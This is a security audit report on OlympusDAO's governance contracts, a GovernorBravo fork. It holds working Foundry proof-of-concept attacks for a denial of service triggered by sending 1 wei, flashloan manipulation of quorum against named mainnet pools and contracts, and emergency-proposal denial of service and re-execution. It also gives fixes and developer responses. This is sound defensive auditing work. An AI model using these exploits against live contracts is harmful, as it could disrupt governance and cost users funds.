yAudit OlympusDAO Governance Review

Review Resources:

- OlympusDAO governance documentation

Auditors:

- puxyz
- Drastic Watermelon

Table of Contents

Review Summary

OlympusDAO Governance

OlympusDAO Governance provides a fork of Compound’s GovernorBravo governance system, which has been adapted to use the `gOHM` token to represent users’ voting power. These contracts enable the OlympusDAO community to propose, vote on, and implement the Olympus V3 system changes. Proposals can modify system parameters, activate or deactivate policies, and install or upgrade modules, effectively allowing the addition of new features and the mutation of the protocol.

The contracts of the OlympusDAO Governance Repo were reviewed over four days. Two auditors performed the code review between October 7th and October 10th, 2024. The repository was under active development during the review, but the review was limited to the latest commit for the OlympusDAO Governance repo.

Scope

The scope of the review consisted of the following contracts at the specific commit:

```
src/external/governance
├── abstracts
│   └── GovernorBravoStorage.sol
├── GovernorBravoDelegate.sol
├── GovernorBravoDelegator.sol
├── interfaces
│   ├── IGovernorBravoEvents.sol
│   └── ITimelock.sol
├── lib
│   └── ContractUtils.sol
└── Timelock.sol

4 directories, 7 files
```

After the findings were presented to the OlympusDAO Governance team, fixes were made and included in several PRs.

This review is a code review to identify potential vulnerabilities in the code. The reviewers did not investigate security practices or operational security and assumed that privileged accounts could be trusted. The reviewers did not evaluate the security of the code relative to a standard or specification. The review may not have identified all potential attack vectors or areas of vulnerability.

yAudit and the auditors make no warranties regarding the security of the code and do not warrant that the code is free from defects. yAudit and the auditors do not represent nor imply to third parties that the code has been audited nor that the code is free from defects. By deploying or using the code, OlympusDAO Governance and users of the contracts agree to use the code at their own risk.

Code Evaluation Matrix

Category	Mark	Description
Access Control	Good	Access control is correctly implemented in user and admin-controlled functionality.
Mathematics	Average	The reviewed contracts have no complex mathematical calculations.
Complexity	Low	Some functionalities added on top of Compound's initial system implementation have made the proposal life cycle more complex, leading to issues when the system enters emergency mode.
Libraries	Good	The contracts use OpenZeppelin's library to recover an ECDSA signer's address.
Decentralization	Average	The protocol team has introduced an additional admin account with the power to veto any proposal before its execution. This role is intended to be held by a multisig account.
Code stability	Good	No code changes were made during the review.
Documentation	Good	The protocol disposes of clear documentation for its governance system in its documentation website. The smart contract functions have NATSPEC documentation with occasional inline comments to clarify their implementation further.
Monitoring	Average	Adequate monitoring mechanisms are in place.
Testing and verification	Average	An extensive testing contract containing unit, integration, and fuzz tests is provided within the repo. The test suite may be improved by executing the tests against a forked environment instead of a mocked one.

Findings Explanation

Findings are broken down into sections by their respective impact:

- Critical, High, Medium, Low impact

    - These are findings that range from attacks that may cause loss of funds, impact control/ownership of the contracts, or cause any unintended consequences/actions that are outside the scope of the requirements.
- Gas savings
    - Findings that can improve the gas efficiency of the contracts.
- Informational
    - Findings including recommendations and best practices.

Critical Findings

None.

High Findings

None.

Medium Findings

1. Medium - Proposals containing transactions to an empty account can be forced to fail

`GovernorBravoDelegate` implements the logic that allows `gOHM` token holders to propose, vote, execute and cancel actions to be executed by the contract.

Technical Details

When a set of transactions is proposed via `GovernorBravoDelegate.propose`, the contract stores each action's target account's code hash. Upon execution, the saved code hashes are checked to match the current targets' code hashes to ensure the account's code wasn't altered in any way.

The contract fails to take into consideration the fact that the `EXTCODESIZE` opcode exhibits peculiar behaviour when aimed at empty accounts and initialized accounts with no code:

1. Calculating the external code hash of an account that has never been initialized (i.e., has no code, holds no balance, nonce is 0), returns `0`

2 Calculating the external code hash of an account with no code but has been initialized returns `0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470`.

In the rare case of a proposal's transaction with an empty account as the target, an attacker can DOS the proposal's execution by simply sending `1 wei` to the account. This would modify the value returned by `EXTCODEHASH`, forcing the proposal's execution to revert.

Impact

Medium. Proposals with at least 1 transaction with an empty account as the target can be forced to fail.

PoC

Add the following test case to `test/external/governance/GovernorBravoDelegate.t.sol` and run it with `forge t --mt test_CodehashChange_poc`

```
function test_CodehashChange_poc() public {
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 10 ether);

        uint256 proposalId = _queueProposal(1); // AUDIT creates proposal with empty
fields, address(0) is an empty account in a non-forked env

        bytes32 initialCodeHash;
        assembly {
            initialCodeHash := extcodehash(0)
        }

        // Warp forward through timelock delay
        vm.warp(block.timestamp + 1 days + 1);

        // Before proposal is executed, attacker sends 1 wei to empty account, changing
its codehash
        vm.prank(attacker); payable(address(0)).call{value: 1 wei}("");

        vm.expectRevert();
        address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("execute(uint256)", proposalId)
        );

        bytes32 finalCodeHash;
        assembly {
            finalCodeHash := extcodehash(0)
        }
        assertTrue(initialCodeHash != finalCodeHash);
        assertTrue(initialCodeHash == bytes32(0));
        assertTrue(finalCodeHash ==
bytes32(0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470));

}
```

Recommendation

Given that on Ethereum, after the Cancun upgrade, `SELFDESTRUCT` allows only to modify an account's code within its deployment transaction, the threat of an account mutating its code has been neutralized. As a result, there is no need to verify whether the account's code has changed between an action's proposal and its execution.

In light of this fact, if the protocol wishes to maintain this check, it may be executed via the `EXTCODESIZE` opcode instead of `EXTCODEHASH` to ensure that an account's code hasn't been altered between the proposal and execution phases.

Developer Response

Interesting find, but it is unlikely that a proposal will target an empty account. Additionally, if this happens, a new proposal could be submitted once the account is non-empty and be able to proceed. Therefore, won't fix.

2. Medium - A proposal's quorum votes can be manipulated with flashloans

A proposal's quorum amount can be manipulated using `OHM` tokens to mint a large amount of `gOHM` tokens, altering `gOHM.totalSupply`.

Technical Details

`GovernorBravoDelegator.getQuorumVotes` returns the amount of `gOHM` tokens required for a proposal reach quorum and become executable. Given that `OHM` has a rebasing supply, the quorum amount is calculated as a percentage of `gOHM.totalSupply` at the time of a proposal's activation.

Consequently, an attacker can manipulate a proposal's quorum amount by minting a large amount of `gOHM` tokens. Note that, at the time of writing, instantly minting new `gOHM` from `OHM` is possible because `OlympusStaking.warmupPeriod()` returns `0`.

Furthermore, given that `GovernorBravoDelegator.activate` allows any user to activate a given pending proposal, an attacker can execute the shown attack in a single transaction, leveraging an `OHM` flashloan.

At the time of writing, the following amounts of `OHM` are available for an attacker to use in this attack, either via a direct flashloan from the liquidity pool or via a swap on a pool with flashloaned funds:

```
0x88051b0eea095007d3bef21ab287be961f3d8598 | UniV3 pool | 138'537 OHM
0x893f503fac2ee1e5b78665db23f9c94017aae97d | UniV3 pool |  14'935 OHM
0x79fe75708e834c5a6857a8b17eeac651907c1da8 | UniV2 pool |  26'438 OHM
0xfc1e8bf3e81383ef07be24c3fd146745719de48d | Curve pool |  23'353 OHM


Total = 138537 + 14935 + 26438 + 23353 = 203'263 OHM


Total gOHM = 203'263 * 0.0037 = 752.07 gOHM


Relative amount of gOHM minted = 752 / 65k = 1.16% of current total supply
```

Finally, note that the same attack vector theoretically exists in the opposite direction: given that unstaking `gOHM` burns the unstaked amount, `gOHM.totalSupply` can be pushed to a lower value. This vector isn't currently exploitable, as a negligible amount of `~40 gOHM`, equal to `~0.06%` of `gOHM.totalSupply`, was found to be available for flashloans via Uniswap V3 LPs and a Fraxlend Pair.

Impact

Medium. Quorum vote amount can be manipulated via flashloans and the current `gOHM` minting process.

PoC

A new test file has been created to verify the finding with the following fork test. To execute the PoC, insert the following content in a new test file, e.g. `src/test/external/governance/GovernorBravoDelegateForkTest.t.sol` and execute it via `forge t --mt test_flashloan_quorum_manipulation_poc --rpc-url $ETH_RPC_URL --fork-block-number 20921273`:

```
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;

import {Test} from "forge-std/Test.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {console2} from "forge-std/console2.sol";

import {GovernorBravoDelegator} from
"src/external/governance/GovernorBravoDelegator.sol";
import {GovernorBravoDelegate} from "src/external/governance/GovernorBravoDelegate.sol";

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface IOlympustStaking {
    function stake(address to, uint256 amount, bool rebasing, bool claim) external
returns (uint256);
    function unstake(address to, uint256 amount, bool trigger, bool rebasing) external
returns (uint256);
}

contract GovernorBravoDelegateForkTest is Test {
    using Address for address;

    GovernorBravoDelegator internal governorBravoDelegator;

    function setUp() public {
        governorBravoDelegator =
GovernorBravoDelegator(payable(0x0941233c964e7d7Efeb05D253176E5E634cEFfcD));
    }

    function test_flashloan_quorum_manipulation_poc() public {
        // Attacker pulls OHM flashloan
        IOlympustStaking olympusStaking =
IOlympustStaking(0xB63cac384247597756545b500253ff8E607a8020);
        IERC20 ohm = IERC20(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);
        address attacker = makeAddr("attacker");
        deal(address(ohm), attacker, 200_000 * 10e9); // AUDIT attacker takes 200k OHM
token flashloan. Tokens are dealt for simplicity, tokens can be pulled from 4 identified
sources

        // Pre wrap quorum votes
        (bool success, bytes memory data) =

address(governorBravoDelegator).call(abi.encodeCall(GovernorBravoDelegate.getQuorumVotes
, ()));
        assertTrue(success, "Failed to get quorum votes once");
        uint256 quorumVotes = abi.decode(data, (uint256));

        // Attacker wraps OHM to gOHM
        vm.startPrank(attacker);
        ohm.approve(address(olympusStaking), 200_000 * 10e9);
        olympusStaking.stake(attacker, 200_000 * 10e9, false, true); // AUDIT rebasing =
false && claim = true to receive gOHM
        vm.stopPrank();

        // Post wrap quorum votes
        (success, data) =
address(governorBravoDelegator).call(abi.encodeCall(GovernorBravoDelegate.getQuorumVotes
, ()));
        assertTrue(success, "Failed to get quorum votes twice");
        uint256 quorumVotesAfter = abi.decode(data, (uint256));

        // Assert quorum votes can be raised
        assertLt(quorumVotes, quorumVotesAfter, "Quorum votes wasn't manipulated");

        // Assert quorum votes have been moved around 1.1%
        assertGt(quorumVotesAfter, quorumVotes * 110 / 100, "Bound 1");
        assertLt(quorumVotesAfter, quorumVotes * 112 / 100, "Bound 2");
    }
}
```

Recommendation

The protocol should consider implementing a checkpoint mechanism for `gOHM.totalSupply`, similar to what has been done for `gOHM` and its voting power calculations. This way, the protocol can defend itself from changes to `gOHM.totalSupply` within the same block, mitigating the shown issue altogether.

Developer Response

Acknowledged, but won't fix. The potential impact of this is low and mitigating it completely would require replacing gOHM. If the amount of flashloanable OHM increases to a point where this can have a material impact on governance, we can mitigate by enabling the staking warmup which would prevent staking loaned OHM immediately.

3. Medium - Denial of service during emergency execution

GovernanceBravoDelegate.execute can be DOS in a state of emergency due to the lack of a check for an emergency proposal.

Technical Details

When the gOHM supply is low, the contract enters an `emergency mode`. In this mode, the `vetoGuardian` can create an emergency proposal, which can be `queued` immediately but must wait before execution. The problem arises during this waiting period. If someone stakes OHM to create more gOHM, increasing the supply, it takes the contract out of `emergency mode`. When execution is attempted, the contract checks if it's still an emergency. Moving onto the else statement, it then tries to verify if the proposal is in the correct state for execution. However, emergency proposals are always in an "Emergency" state, which doesn't allow execution, as it is an invalid state.

```
    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];


       // This condition will be bypassed by attacker, putting execution in the else
case
        if (_isEmergency()) {
            // In an emergency state, only the veto guardian can queue proposals
            if (msg.sender != vetoGuardian) revert GovernorBravo_OnlyVetoGuardian();
        } else {
            // This condition will always revert, as state is fixed for emergency
proposals.
            if (state(proposalId) != ProposalState.Queued) revert
GovernorBravo_Execute_NotQueued();
       // ... rest code
}
```

The same applies to `queue()` function.

```
    function queue(uint256 proposalId) external {
        Proposal storage proposal = proposals[proposalId];

        if (_isEmergency()) {
            // In an emergency state, only the veto guardian can queue proposals
            if (msg.sender != vetoGuardian) revert GovernorBravo_OnlyVetoGuardian();
        } else {
            // Check if proposal is succeeded
            if (state(proposalId) != ProposalState.Succeeded)
                revert GovernorBravo_Queue_FailedProposal();

            // Check that proposer has not fallen below proposal threshold since
proposal creation
            if (
                gohm.getPriorVotes(proposal.proposer, block.number - 1) <
proposal.proposalThreshold
            ) revert GovernorBravo_Queue_BelowThreshold();
        }

// ... rest code
```

Impact

Medium. It effectively allows an individual to block emergency actions by manipulating the gOHM supply after making an emergency proposal. When the protocol faces a critical issue requiring immediate action, this vulnerability could prevent timely intervention, potentially leading to financial losses or other severe consequences.

POC

```
    function testAttack() public {
        // Burn all gOHM
        gohm.burn(address(0), gohm.balanceOf(address(0)));
        gohm.burn(alice, gohm.balanceOf(alice));

        address[] memory targets = new address[](1);
        uint256[] memory values = new uint256[](1);
        string[] memory signatures = new string[](1);
        bytes[] memory calldatas = new bytes[](1);

        targets[0] = address(testor);
        values[0] = 100 ether;
        signatures[0] = "test()";
        calldatas[0] = "";

        vm.startPrank(vetoGuardian);
        bytes memory data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature(
                "emergencyPropose(address[],uint256[],string[],bytes[])",
                targets,
                values,
                signatures,
                calldatas
            )
        );

        uint256 proposalId = abi.decode(data, (uint256));
        address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("queue(uint256)", proposalId)
        );

        vm.roll(block.number + 72002);
        vm.warp(block.timestamp + 1 days + 1);
        vm.deal(vetoGuardian, 1000 ether);
        // increase gohm supply
        gohm.mint(address(0xbeef), 10000 * 1e18);

        // execution fails
        data = address(governorBravoDelegator).functionCallWithValue(
            abi.encodeWithSignature(
                "execute(uint256)",
                proposalId
            ),
            100 ether
        );
        vm.stopPrank();
    }
```

Recommendation

The check for emergency status could be removed from the execution process for emergency proposals.

```diff
     function execute(uint256 proposalId) external payable {
         Proposal storage proposal = proposals[proposalId];

-        if (_isEmergency()) {
-            // In an emergency state, only the veto guardian can queue proposals
-            if (msg.sender != vetoGuardian) revert GovernorBravo_OnlyVetoGuardian();
-        } else {
-            // Check if proposal is succeeded
-            if (state(proposalId) != ProposalState.Queued) revert
GovernorBravo_Execute_NotQueued();
-            // Check that proposer has not fallen below proposal threshold since
proposal creation
-            if (
-                gohm.getPriorVotes(proposal.proposer, block.number - 1) <
proposal.proposalThreshold
-            ) revert GovernorBravo_Execute_BelowThreshold();
+        // Check if this is an emergency proposal
+        bool isEmergencyProposal = (proposal.startBlock == 0 && proposal.proposer ==
vetoGuardian);
+
+        if (!isEmergencyProposal) {
+            // For non-emergency proposals, keep the existing checks
+            if (_isEmergency()) {
+                revert GovernorBravo_OnlyVetoGuardian();
+            }
+            if (state(proposalId) != ProposalState.Queued) {
+                revert GovernorBravo_Execute_NotQueued();
+            }
+            if (gohm.getPriorVotes(proposal.proposer, block.number - 1) <
proposal.proposalThreshold) {
+                revert GovernorBravo_Execute_BelowThreshold();
+            }
+        } else {
+            // For emergency proposals, only check if the caller is the veto guardian
+            if (msg.sender != vetoGuardian) {
+                revert GovernorBravo_OnlyVetoGuardian();
+            }
         }

+        // Rest of the function remains unchanged
```

The above recommendation should also be applied to `queue()`.

Developer Response

Fixed in PR#13.

Low Findings

1. Low - Refund excess `msg.value` back to executor

GovernorBravoDelegate.execute should refund excess `ether` back to `msg.sender`

Technical Details

To execute a proposal that accepts ether, `executor` needs to call `GovernorBravoDelegate.execute` function with `msg.value`, which will be then used across all targets of proposals by calling `timelock.executeTransaction`, but the excess `msg.value` should be refunded to the `executor` after the execution ends.

Impact

Low

Recommendation

Additionally, two more recommendations are included in the following code block.

1 Gas saving by sending all values in a single call.
2 Additional check that the contract balance should be more than the total sum of values.

```
    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];

        if (_isEmergency()) {
            // In an emergency state, only the veto guardian can queue proposals
            if (msg.sender != vetoGuardian) revert GovernorBravo_OnlyVetoGuardian();
        } else {
            // Check if proposal is succeeded
            if (state(proposalId) != ProposalState.Queued) revert
GovernorBravo_Execute_NotQueued();
            // Check that proposer has not fallen below proposal threshold since
proposal creation
            if (
                gohm.getPriorVotes(proposal.proposer, block.number - 1) <
proposal.proposalThreshold
            ) revert GovernorBravo_Execute_BelowThreshold();
        }

        proposal.executed = true;
        uint totalValue;
        uint256 numActions = proposal.targets.length;
        uint256 i;

        for (i = 0; i < numActions; ) {
            totalValue += proposal.values[i];
            unchecked {
                i++;
            }
        }

        // Check for balance
        require(address(this).balance >= totalValue, "NOT ENOUGH ETH TO EXECUTE
PROPOSAL");
        // send all value in single call
        (bool s, ) = address(timelock).call{value: totalValue}("");
        require(s, "timelock can not be funded for proposal");

        for (i = 0; i < numActions; ) {
            timelock.executeTransaction(
                proposalId,
                proposal.targets[i],
                proposal.values[i],
                proposal.signatures[i],
                proposal.calldatas[i],
                proposal.codehashes[i],
                proposal.eta
            );

            unchecked {i ++;}
        }

        // refund back to user
        if (msg.value > totalValue) {
            (s, ) = address(msg.sender).call{value: msg.value - totalValue}("");
            require(s, "could not refund user");
        }
        emit ProposalExecuted(proposalId);
    }
```

Developer Response

Acknowledged, but won't fix. Any leftover ETH can be rescued with a follow-on proposal if needed.

2. Low - `getVoteOutcome` returns an invalid response for `Emergency proposal`

GovernorBravoDelegate.getVoteOutcome does not consider the case of `Emergency proposals`.

Technical Details

In the `GovernorBravoDelegate` contract, the `getVoteOutcome` function always returns `false` for emergency proposals. This is because emergency proposals skip the voting process, resulting in `forVotes` and `againstVotes` both being zero.

```
function getVoteOutcome(uint256 proposalId) public view returns (bool) {
    Proposal storage proposal = proposals[proposalId];

    if (proposal.forVotes == 0 && proposal.againstVotes == 0) {
        return false;
    }
    // ... rest of the function
}
```

Impact

Low. This bug does not affect the execution of emergency proposals, as the contract bypasses normal voting checks for these proposals. However, it may confuse if external systems or interfaces rely on the getVoteOutcome function to determine the status of all proposals, including emergency ones.

Recommendation

```
function getVoteOutcome(uint256 proposalId) public view returns (bool) {
    Proposal storage proposal = proposals[proposalId];

    // Check if it's an emergency proposal
+   if (proposal.proposer == vetoGuardian && proposal.startBlock == 0 &&
proposal.targets.length > 0) {
+       return !proposal.canceled && !proposal.vetoed;
+   }

    // Existing logic for normal proposals
    if (proposal.forVotes == 0 && proposal.againstVotes == 0) {
        return false;
    } else if (
        (proposal.forVotes * 100_000_000) / (proposal.forVotes + proposal.againstVotes)
<
        approvalThresholdPct ||
        proposal.forVotes < proposal.quorumVotes
    ) {
        return false;
    }

    return true;
}
```

Developer Response

Fixed in PR#13.

3. Low - `state()` function always returns `ProposalState.Emergency` for emergency proposals

Technical Details

In the `GovernorBravoDelegate` contract, the `state()` function always returns `ProposalState.Emergency` for emergency proposals, regardless of their actual state.

```
function state(uint256 proposalId) public view returns (ProposalState) {
    // ... earlier code here
    if (
        proposal.startBlock == 0 &&
        proposal.proposer == vetoGuardian &&
        proposal.targets.length > 0
    ) {
        // We want to short circuit the proposal state if it's an emergency proposal
        // We do not want to leave the proposal in a perpetual pending state (or
otherwise)
        // where a user may be able to cancel or reuse it
        return ProposalState.Emergency;
    }
    // ... (rest of the function)
}
```

This means that even after an emergency proposal has been `executed`, `queued`, or even `vetoed`, the `state()` function will still return `ProposalState.Emergency`.

Impact

Low.

Recommendation

Modify the `state()` function to reflect the current state of emergency proposals accurately.

```
    function state(uint256 proposalId) public view returns (ProposalState) {
        if (proposalCount < proposalId) revert GovernorBravo_Proposal_IdInvalid();
        Proposal storage proposal = proposals[proposalId];
        if (
            proposal.startBlock == 0 &&
            proposal.proposer == vetoGuardian &&
            proposal.targets.length > 0
        ) {
+           if (proposal.executed) return ProposalState.Executed;
+           else if (proposal.vetoed) return ProposalState.Vetoed;
+           return ProposalState.Emergency;
        }
        // ... rest code
```

Developer Response

Fixed in PR#13.

4. Low - Emergency proposals can be queued and executed multiple times by `vetoGuardian`

Technical Details

In the `GovernorBravo` contract, an oversight allows emergency proposals to be `queued` and `executed` multiple times, even after they've been successfully executed once. This is due to insufficient state management for emergency proposals in the queue and execution functions.

1. The `queue` function doesn't check if an emergency proposal has already been executed:

```
function queue(uint256 proposalId) external {
 // ... (other checks)
 if (_isEmergency()) {
     // In an emergency state, only the veto guardian can queue proposals
     if (msg.sender != vetoGuardian) revert GovernorBravo_OnlyVetoGuardian();
 }
 // ... rest code
}
```

2. The `execute` function similarly doesn't prevent re-execution of emergency proposals:

```
function execute(uint256 proposalId) external payable {
 // ... (other checks)
 if (_isEmergency()) {
     // In an emergency state, only the veto guardian can queue proposals
     if (msg.sender != vetoGuardian) revert GovernorBravo_OnlyVetoGuardian();
 }
 // ... rest code
}
```

This oversight allows the veto guardian to queue and execute the same emergency proposal multiple times, potentially leading to unintended repeated actions.

Impact

Low. While this bug doesn't directly compromise funds or core functionality, it allows for the repetition of emergency actions, which could have significant consequences depending on the nature of the proposal. This could lead to unintended state changes or repeated transactions meant to be executed only once.

POC

```
    contract Testor {
        uint public balance;
        function test() external payable {
            balance += msg.value;
        }
    }
...
    function testSingleProposalMultiExecutions() public {
        // Burn all gOHM
        gohm.burn(address(0), gohm.balanceOf(address(0)));
        gohm.burn(alice, gohm.balanceOf(alice));

        address[] memory targets = new address[](1);
        uint256[] memory values = new uint256[](1);
        string[] memory signatures = new string[](1);
        bytes[] memory calldatas = new bytes[](1);

        targets[0] = address(testor);
        values[0] = 100 ether;
        signatures[0] = "test()";
        calldatas[0] = "";

        vm.startPrank(vetoGuardian);
        bytes memory data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature(
                "emergencyPropose(address[],uint256[],string[],bytes[])",
                targets,
                values,
                signatures,
                calldatas
            )
        );

        uint256 proposalId = abi.decode(data, (uint256));
        address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("queue(uint256)", proposalId)
        );

        vm.roll(block.number + 72002);
        vm.warp(block.timestamp + 1 days + 1);
        vm.deal(vetoGuardian, 1000 ether);
        data = address(governorBravoDelegator).functionCallWithValue(
            abi.encodeWithSignature(
                "execute(uint256)",
                proposalId
            ),
            100 ether
        );
        address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("queue(uint256)", proposalId)
        );

        vm.roll(block.number + 72002);
        vm.warp(block.timestamp + 1 days + 1);
        data = address(governorBravoDelegator).functionCallWithValue(
            abi.encodeWithSignature(
                "execute(uint256)",
                proposalId
            ),
            100 ether
        );
        vm.stopPrank();

        data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature(
                "getVoteOutcome(uint256)",
                proposalId
            )
        );
        bool status = abi.decode(data, (bool));
        console2.log("status", status);
    }
```

Recommendation

Modify the queue and execute functions to prevent re-queueing and re-executing emergency proposals.

Developer Response

Fixed in PR#13.

Gas Saving Findings

1. Gas - Optimize `GovernorBravoDelegator.fallback`

`GovernorBravoDelegator.fallback` can be optimized to reduce its gas consumption.

Technical Details

Given that no other Solidity is executed after `implementation.delegatecall(msg.data)`, the method's inline assembly block needn't respect Solidity's memory conventions.

`mload(0x40)` may be removed, and returndata may be written starting from memory's 0-byte, as the method's execution is sure to halt at the end of the assembly block.

Impact

Gas savings

Recommendation

Remove the unnecessary `MLOAD` operation and write the delegatecall's return data starting from memory's 0 byte. Reference OpenZeppelin's Proxy.sol as an example.

Developer Response

Acknowledged.

2. Gas - Optimize `GovernorBravoDelegator.delegateTo`

`GovernorBravoDelegator.delegateTo` can be optimized to reduced its gas consumption.

Technical Details

When checking if a value is equal to `0` in inline assembly, the `ISZERO` opcode should be employed because the contract uses `eq(success, 0)`, an unnecessary `PUSH0` operation is executed.

Impact

Gas savings

Recommendation

Modify `GovernorBravoDelegator.delegateTo` as follows:

```
function delegateTo(address callee, bytes memory data) internal {
        (bool success, bytes memory returnData) = callee.delegatecall(data);
        assembly {
-               if eq(success, 0) {
+               if iszero(success) {
                        revert(add(returnData, 0x20), returndatasize())
                }
        }
}
```

Developer Response

Acknowledged.

3. Gas - Cache external call results

`GovernorBravoDelegate.propose` executes `getProposalThresholdVotes` twice (1, 2).

Technical Details

`GovernorBravoDelegate.propose` calls internally `getProposalThresholdVotes`, which executes an external static call to `gOHM.totalSupply`. Because the supply of `gOHM` cannot change between the two external calls, the call's return value should be cached and used multiple times.

Impact

Gas savings

Recommendation

Within `GovernorBravoDelegate.propose` implement the following changes:

```diff
    function propose(
        address[] memory targets,
        uint256[] memory values,
        string[] memory signatures,
        bytes[] memory calldatas,
        string memory description
    ) public returns (uint256) {
        if (_isEmergency()) revert GovernorBravo_Emergency_SupplyTooLow();
        // Allow addresses above proposal threshold and whitelisted addresses to propose
-       if (gohm.getPriorVotes(msg.sender, block.number - 1) <=
getProposalThresholdVotes())
+       uint256 proposalThresholdVotes = getProposalThresholdVotes();
+       if (gohm.getPriorVotes(msg.sender, block.number - 1) <= proposalThresholdVotes)
            revert GovernorBravo_Proposal_ThresholdNotMet();

        // snip

        {
            // Given Olympus's dynamic supply, we need to capture quorum and proposal
thresholds in terms
            // of the total supply at the time of proposal creation.
-           uint256 proposalThresholdVotes = getProposalThresholdVotes();

            Proposal storage newProposal = proposals[newProposalID];
            // snip
```

Developer Response

Acknowledged.

4. Gas - Cache frequently used storage variables

GovernorBravoDelegate uses `proposal.eta` same storage variable multiple times inside loop.

Technical Details

As `proposal.eta` is same for all the targets of a proposal, hence during function call of GovernorBravoDelegate.veto, GovernorBravoDelegate.execute and GovernorBravoDelegate.cancel it can be caches in memory.

Impact

Gas Saving

Recommendation

```
+     uint256 eta =  proposal.eta;
        for (uint256 i = 0; i < proposal.targets.length; i++) {
            timelock.cancelTransaction(
                proposalId,
                proposal.targets[i],
                proposal.values[i],
                proposal.signatures[i],
                proposal.calldatas[i],
-               proposal.eta,
+               eta
            );
        }
```

Developer Response

Acknowledged.

5. Gas - Simply if-statement conditions

Some if-statement conditions may be simplified to reduce the system's gas consumption.

Technical Details

- GovernorBravoDelegate.sol#L923-L925 : remove `proposal.targets.length > 0`. This condition is always true for an existing proposal as no proposal with `proposal.targets.length == 0` can be created via `GovernorDelegate.propose` or `GovernorDelegate.emergencyPropose`.
- GovernorBravoDelegate.sol#L936 : remove one between `!proposal.votingStarted` and `proposal.endBlock == 0`. These two conditions are equivalent, given that both proposal variables are only written to during `GovernorBravoDelegate.activate`

Impact

Gas savings.

Recommendation

Simplify the shown if-statement conditions.

Developer Response

Acknowledged.

Informational Findings

1. Informational - Missing bound checks for `activationGracePeriod_`

`activationGracePeriod_` is the only value not checked to be within an appropriate range within `GovernorBravoDelegator.initialize`.

Technical Details

Within `GovernorBravoDelegator.initialize`, all parameters except `activationGracePeriod_` are checked to be set to appropriate values.

Impact

Informational.

Recommendation

Add checks to validate `activationGracePeriod_` is set to an acceptable value.

Developer Response

Acknowledged.

2. Informational - Duplicate code

The same code snippets can be found in different sections of the in-scope contracts.

Technical Details

- `GovernorBravoDelegate.propose` and `GovernorBravoDelegate.emergencyPropose` both verify the input arrays' lengths (1, 2) and calculate the `targets` codehashes (1, 2)

Impact

Informational.

Recommendation

Implement internal functions to execute common operations.

Developer Response

Acknowledged.

3. Informational - Misleading comments

Misleading and missing comments in `GovernorBravoDelegate` contract.

Technical Details

Several comments in the `GovernorBravoDelegate` contract are inaccurate or inconsistent with the code:

- execute: Comment mentions queueing instead of executing.
- propose: Invalid comment mentioning capture of quorum at time of proposal.
- propose: Comment refers to non-existent whitelist check.
- activate: Missing natspec `@param`
- castVoteBySig: Missing natspec `@param`

Impact

Informational

Recommendation

Review and update comments to accurately reflect the code's behavior. Ensure consistency across similar functions.

Developer Response

Acknowledged.

4. Informational - `GovernorBravoDelegate._isHighRiskProposal` returns false for `InstallModule` Kernel action

`GovernorBravoDelegate._isHighRiskProposal` implements logic to identify delicate proposals, for which a higher quorum level may be required.

Technical Details

In case a proposal's transaction has Olympus's `Kernel` contract as `target`, some additional checks are executed to understand whether a call to the `executeAction` method should make the method return `true`.

Given that `executeAction` accepts an element of the `Kernel.Actions` enum, the method executes custom checks based on the enum's variant provided by a given transaction. The method fails to execute any check in the case `action == Action.InstallModule` leads the `Kernel` contract to store a given address as a new module and call its `INIT` method.

Impact

Informational. The method shown isn't currently used in in-scope contracts.

Recommendation

Given the changes executed by the `Action.InstallModule`, `GovernorBravoDelegate._isHighRiskProposal` should return `true` if `action == 0`.

Developer Response

This is actually correct behavior. This isn't much risk in installing a new module. They cannot interact with existing modules. Upgrading a module on the other hand is risky since it can affect existing system behavior.

5. Informational - Ambiguous proposal expiration conditions

`GovernorBravoDelegate` considers a queued proposal expired in a different manner than `Timelock` considers a transaction stale: for one block, the two contracts contradict themselves on the status of a given proposal.

Technical Details

- `GovernorBravoDelegate.state` considers a proposal `Expired` if `block.timestamp >= proposal.eta + timelock.GRACE_PERIOD()`
- `Timelock.execute` considers a transaction `Stale` if `block.timestamp > eta + GRACE_PERIOD`

Impact

Informational.

Recommendation

Select a uniform way to consider a proposal and its transactions expired.

Developer Response

Fixed in PR#13.

Final remarks

OlympusDAO has selected a solid and battle-tested option to implement its on-chain governance system. The review has identified some issues within edge cases for the functionalities added by the client, which can lead to an inability to execute proposals when the system enters the emergency state or allow an attacker to brick a proposal's execution under rare conditions.

Additionally, the review has identified a theoretical attack vector by which an attacker can inflate or deflate a proposal's quorum requirements: at the time of the report's writing, the largest relative manipulation possible was around 1% of the non-manipulated amount.

Overall, the system lies on solid foundations that have proven reliable for normal state operations. In the case of emergency state operations, additional care and testing should be applied to verify that the system processes proposals correctly, both when their entire life cycle occurs with the system in emergency state and when the system switches state during it.